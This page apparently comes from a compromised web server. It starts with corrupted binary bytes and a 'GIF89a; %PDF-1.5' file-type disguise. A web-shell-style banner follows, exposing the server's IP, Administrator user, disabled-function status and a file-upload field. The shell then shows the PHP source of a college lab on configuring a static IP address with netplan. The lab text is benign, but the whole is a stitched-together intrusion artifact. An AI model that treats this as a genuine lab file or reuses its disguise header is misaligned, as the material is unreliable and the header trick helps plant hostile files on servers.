GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2608/Labs/Lab02/ |
Upload File : |
<? // JimMartinson/CST2608/Labs/Lab02/Lab02.phpinc $js .= ',./Lab02.js'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. require('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc'); $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset><legend>Description</legend> The purpose of this lab is to change the server name and setup your server to use a static ip address. <br> <span class="note">In the ip addresses below:<br> Replace <?=$octet1?> with the 1st octet in your network.<br> Replace <?=$octet2?> with the 2nd octet in your network.<br> Replace <?=$octet3?> with the 3rd octet in your network.<br> Replace <?=$octet4?> with the 4th octet of your server's IP address.<br> <b>This will happen automatically if your enter your server's ip address and gateway below.</b> </span> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend>Lab Instruction</legend> Create a folder for this <?=strtolower($evaluationType)?> named <b><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder. <ol id="main" class="count"> <!-- 1 --> <li>Display the hosts file. <ol> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">cat /etc/hosts</kbd>.</li> <? $screenshot1 = $courseNumber.'-'.$evaluationName.'-hosts-'.$userFileName.'.png'; ?> <li><b class="info">Take a screenshot</b> of the termainal window and save it as <b style="white-space:nowrap;"><?=$screenshot1?></b>. <? showBegin('See example hosts screenshot'); ?><br><img src="images/hosts.png" width="734" height="488" alt=""/><br><? showEnd(); ?> </li> </ol> </li> <!-- 2 --> <li>Ensure your server has three network adapters: <ol> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">ip -4 a</kbd>. You should see three network adapters. <br><b>If you do, then you can skip the rest of step 2.</b> <br>If you do not, you need to add a host-only adapter to your server: <ol> <li>Shutdown your server.</li> <li>Open the VM settings.</li> <li>Select Network from the left pane.</li> <li>Select the <b>Adapter <span style="text-decoration: underline">2</span></b> tab.</li> <li>Check <b><span style="text-decoration: underline">E</span>nable Network Adapter</b>.</li> <li>Select <b>Host-only Adapter</b> in the <b><span style="text-decoration: underline">A</span>ttached to</b> dropdown.</li> <li>Click <b>OK</b>.</li> <li>Configure your Host-only Adapter: <ol> <li>Restart your server.</li> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">ip -4 a</kbd>. You should see three network adapters. If you do not then you need to contact me for help. </li> <li>Note the name of adapter 3 and enter it here (if different): <input type="text" name="adapter2" id="inp_adapter2" onInput="CheckAddresses(this);" maxlength="8" style="width:4em;" value="enp0s8"> <span class="note">Mine was <b>enp0s8</b>.</span></li> <li>Edit the netplan and configure the <span class="bold" id="spn_adapter2">enp0s8</span> for dhcp: <ol> <li>Find out the name of your netplan yaml file: <ol> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">ls /etc/netplan</kbd>.</li> <li>Enter the name of your yaml file here (if different): <input type="text" name="yaml1" id="inp_yaml1" onInput="CheckAddresses(this);" maxlength="30" style="width:12em;" value="00-installer-config.yaml"></li> </ol> </li> <li>Edit the yaml file with the command <kbd class="copyText">sudo pico /etc/netplan/<span id="spn_yaml1">00-installer-config.yaml</span></kbd></li> <li>Add the following lines before the version line: <pre class="code copyText"> <span class="bold" id="spn_adapter2b">enp0s8</span> dhcp4: true </pre> </li> <li>Save the changes. Your <span id="spn_yaml1b">00-installer-config.yaml</span> file should now look like this: <pre class="code">network: ethernets: enp0s3: dhcp4: true <span class="bold" id="spn_adapter2c">enp0s8</span> dhcp4: true version: 2 </pre> </li> </ol> </li> </ol> </li> </ol> </li> </ol> </li> <!-- 3 --> <li>Setup your server to use a static ip address. <ol> <li>Get your server's ip address <span class="normal note">Look at the inet address on the 3<sup>rd</sup> inet line</span>. <ol> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">ip -4 a</kbd>.</li> <li>Copy down the name of your NAT adapter and enter it here (if different): <input type="text" name="adapter1" id="inp_adapter1" onInput="CheckAddresses(this);" maxlength="8" style="width:4em;" value="enp0s3"> <li>Copy down the name of your host-only adapter and enter it here (if different): <input type="text" name="adapter2b" id="inp_adapter2b" onInput="CheckAddresses(this);" maxlength="8" style="width:4em;" value="enp0s8"> </li> <li>Copy down the ip address (inet address) and enter it here: <input type="text" name="ipaddress" id="inp_ipaddress" onInput="CheckAddresses(this);" maxlength="15" style="width:8em;"> <div id="div_addressesText"> <span class="warning">The ip address has not been entered.</span> </div> <input type="hidden" name="gateway" id="inp_gateway" onInput="CheckAddresses(this);"> </li> </ol> </li> <!-- <li>Get your server's default gateway ip address. <ol> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">ip route | grep default</kbd>.</li> <li>Copy down the default gateway address (default via) and enter it here (if different): <input type="text" name="gateway" id="inp_gateway" onInput="CheckAddresses(this);" maxlength="15" style="width:8em;"> <div id="div_gatewayText"> <span class="warning">The gateway address has not been entered.</span> </div> </li> </ol> </li> --> <li>Edit the netplan file to setup your static ip address. <ol> <li>Find out the name of your netplan yaml file: <ol> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">ls /etc/netplan</kbd>.</li> <li>Enter the name of your yaml file here (if different): <input type="text" name="yaml1b" id="inp_yaml1b" onInput="CheckAddresses(this);" maxlength="30" style="width:12em;" value="00-installer-config.yaml"></li> </ol> </li> <li>Edit the yaml file with the command <kbd class="copyText">sudo pico /etc/netplan/<span id="spn_yaml1c">00-installer-config.yaml</span></kbd></li> <li>Delete everything in the <span id="spn_yaml1d">00-installer-config.yaml</span> file and copy in the following: <pre class="code copyText">network: ethernets: <span id="spn_adapter1">enp0s3</span>: dhcp4: true <span id="spn_adapter2d">enp0s8</span>: dhcp4: no addresses: [<span id="spn_address"></span>/24] gateway4: <span id="gatewayAddress"></span> nameservers: addresses: [8.8.8.8] version: 2 renderer: NetworkManager </pre> </li> <li>Save the changes.</li> <li>Apply the changes with the command <kbd class="copyText">sudo netplan apply</kbd>. <br><span class="normal note">In case you run into some issues execute: <kbd class="copyText">sudo netplan --debug apply</kbd></span> </li> <li>Reboot the server.</li> </ol> </li> </ol> </li> <!-- 4 --> <li>Verify the changes are working. <ol> <li>Open a terminal window.</li> <li>Enter the command <kbd class="copyText">ping -c 4 cst.ridgewater.edu</kbd>.</li> <? $screenshot3 = $courseNumber.'-'.$evaluationName.'-ping-'.$userFileName.'.png'; ?> <li><b class="info">Take a screenshot</b> of the termainal window and save it as <b class="copyText" style="white-space:nowrap;"><?=$screenshot3?></b>. <? showBegin('See example ping screenshot'); ?><br><img src="images/ping.png" width="734" height="488" alt=""/><br><? showEnd(); ?> </li> </ol> </li> <!-- 5 --> <li>Turn in your assignment: <ol type="a"> <li>Copy the <b class="copyText">/etc/hostname</b> file to your <b><?=$evaluationName?></b> folder.</li> <li>Copy the <b class="copyText">/etc/hosts</b> file to your <b><?=$evaluationName?></b> folder.</li> <li>Copy the <b class="copyText">/etc/netplan/50-cloud-init-yaml</b> file to your <b><?=$evaluationName?></b> folder. <span class="note">Your .yaml file may have a different name.</span> </li> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<? $fileList = array( $screenshot1, $screenshot3, 'hostname', 'hosts', '00-installer-config.yaml', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <br> <?=$fileName?> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> directory into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>